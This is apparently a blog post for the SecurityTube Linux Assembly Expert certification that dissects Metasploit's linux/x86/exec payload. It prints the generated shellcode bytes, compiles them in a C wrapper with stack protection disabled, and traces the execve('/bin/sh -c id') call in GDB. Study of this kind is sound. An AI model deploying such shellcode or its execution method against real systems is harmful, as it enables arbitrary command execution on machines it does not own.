This is the last Metasploit payload analysis post for the SLAE. This time we’ll be examining the linux/x86/exec payload and seeing exactly how it works.

Like always we’ll first start by checking out the payload options.

[email protected]:~/SLAE# msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:


       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    vlad902 <[email protected]>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

To keep things simple we’ll specify id as our CMD option. Let’s run msfvenom and pipe into ndisasm to get an overview of the assembly.

[email protected]:~/SLAE# msfvenom -p linux/x86/exec CMD=id -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E803000000        call 0x20
0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953
00000025  80                db 0x80

Another small payload. We see another CALL but can’t see the instructions its calling at the address 0x20. Let’s extract the shellcode and throw it in our trusty dusty C wrapper to see exactly what’s happening with GDB.

[email protected]:~/SLAE# msfvenom -p linux/x86/exec CMD=id -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of c file: 185 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x69"
"\x64\x00\x57\x53\x89\xe1\xcd\x80";


[email protected]:~/SLAE# vim id.c
[email protected]:~/SLAE# gcc id.c -o id -fno-stack-protector -z execstack
[email protected]:~/SLAE# ./id
Shellcode Length:  15
uid=0(root) gid=0(root) groups=0(root)

Payload indeed works. We’ll fire up GDB and set a breakpoint on our shellcode.

[email protected]:~/SLAE# gdb -q ./id
Reading symbols from ./id...(no debugging symbols found)...done.
gdb-peda$ break *&code
Breakpoint 1 at 0x2040
gdb-peda$ r
Starting program: /root/SLAE/id 
Shellcode Length:  15

[----------------------------------registers-----------------------------------]
EAX: 0x402040 --> 0x99580b6a 
EBX: 0x402000 --> 0x1efc 
ECX: 0x16 
EDX: 0xb7fa4870 --> 0x0 
ESI: 0x1 
EDI: 0xb7fa3000 --> 0x1b9db0 
EBP: 0xbffff388 --> 0x0 
ESP: 0xbffff36c --> 0x40059d (<main+80>:	mov    eax,0x0)
EIP: 0x402040 --> 0x99580b6a
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40203a:	add    BYTE PTR [eax],al
   0x40203c:	add    BYTE PTR [eax],al
   0x40203e:	add    BYTE PTR [eax],al
=> 0x402040 <code>:	push   0xb
   0x402042 <code+2>:	pop    eax
   0x402043 <code+3>:	cdq    
   0x402044 <code+4>:	push   edx
   0x402045 <code+5>:	pushw  0x632d
[------------------------------------stack-------------------------------------]
0000| 0xbffff36c --> 0x40059d (<main+80>:	mov    eax,0x0)
0004| 0xbffff370 --> 0x1 
0008| 0xbffff374 --> 0xbffff434 --> 0xbffff5cc ("/root/SLAE/id")
0012| 0xbffff378 --> 0xbffff43c --> 0xbffff5da ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xbffff37c --> 0x402040 --> 0x99580b6a 
0020| 0xbffff380 --> 0xbffff3a0 --> 0x1 
0024| 0xbffff384 --> 0x0 
0028| 0xbffff388 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00402040 in code ()

execve()

There is only one system call for this payload so we’ll be looking at all of the assembly instructions. I’ve made comments to help follow along on what’s happening.

push   0xb			; execve()		
pop    eax			;
cdq    				; set edx to 0
push   edx			; 0
pushw  0x632d			; '-c'
mov    edi,esp			; point edi to stack
push   0x68732f			; '/sh'
push   0x6e69622f		; '/bin
mov    ebx,esp			; point ebx to stack
push   edx			; 0
call   0x402060 <code+32>	; call and push "id" string to stack	
imul   esp,DWORD PTR 		; "id" string
push   ebx			; push "/bin/sh"
mov    ecx,esp			; point to stack
int    0x80			; execute execve

Everything is pretty straight forward. We first see a PUSH of the execve() syscall (11) along with a CDQ to zero out EDX. From here is setting up the stack for execve(). The CALL trick is used once again to get our command to be ran pushed onto the stack. We can see that here after setting a breakpoint at code+32 right before the PUSH to point EBX at the stack. Previously we did not see the instructions from push EBX to the interrupt call when using ndisasm.

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff35e ("/bin/sh")
ECX: 0x16 
EDX: 0x0 
ESI: 0x1 
EDI: 0xbffff366 --> 0x632d ('-c')
EBP: 0xbffff388 --> 0x0 
ESP: 0xbffff352 --> 0xbffff366 --> 0x632d ('-c')
EIP: 0x402061 --> 0xcde18953
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x402061 <code+33>:	push   ebx
   0x402062 <code+34>:	mov    ecx,esp
   0x402064 <code+36>:	int    0x80
   0x402066 <code+38>:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff352 --> 0xbffff366 --> 0x632d ('-c')
0004| 0xbffff356 --> 0x40205d --> 0x57006469 ('id')
0008| 0xbffff35a --> 0x0 
0012| 0xbffff35e ("/bin/sh")
0016| 0xbffff362 --> 0x68732f ('/sh')
0020| 0xbffff366 --> 0x632d ('-c')
0024| 0xbffff36a --> 0x59d0000 
0028| 0xbffff36e --> 0x10040 
[------------------------------------------------------------------------------]

Right before the interrupt is called our registers and stack looks like such:

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff35e ("/bin/sh")
ECX: 0xbffff34e --> 0xbffff35e ("/bin/sh")
EDX: 0x0 
ESI: 0x1 
EDI: 0xbffff366 --> 0x632d ('-c')
EBP: 0xbffff388 --> 0x0 
ESP: 0xbffff34e --> 0xbffff35e ("/bin/sh")
EIP: 0x402064 --> 0x80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40205c <code+28>:	add    BYTE PTR [ecx+0x64],ch
   0x40205f <code+31>:	add    BYTE PTR [edi+0x53],dl
   0x402062 <code+34>:	mov    ecx,esp
=> 0x402064 <code+36>:	int    0x80
   0x402066 <code+38>:	add    BYTE PTR [eax],al
   0x402068:	add    BYTE PTR [eax],al
   0x40206a:	add    BYTE PTR [eax],al
   0x40206c:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff34e --> 0xbffff35e ("/bin/sh")
0004| 0xbffff352 --> 0xbffff366 --> 0x632d ('-c')
0008| 0xbffff356 --> 0x40205d --> 0x57006469 ('id')
0012| 0xbffff35a --> 0x0 
0016| 0xbffff35e ("/bin/sh")
0020| 0xbffff362 --> 0x68732f ('/sh')
0024| 0xbffff366 --> 0x632d ('-c')
0028| 0xbffff36a --> 0x59d0000 
[------------------------------------------------------------------------------]

This formats our execve call as follows:

execve("/bin/sh", ["/bin/sh", '-c' 'id'], 0)

That’s it! Only one syscall to dissect this time around.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1208

Github Repo: https://github.com/absolomb/SLAE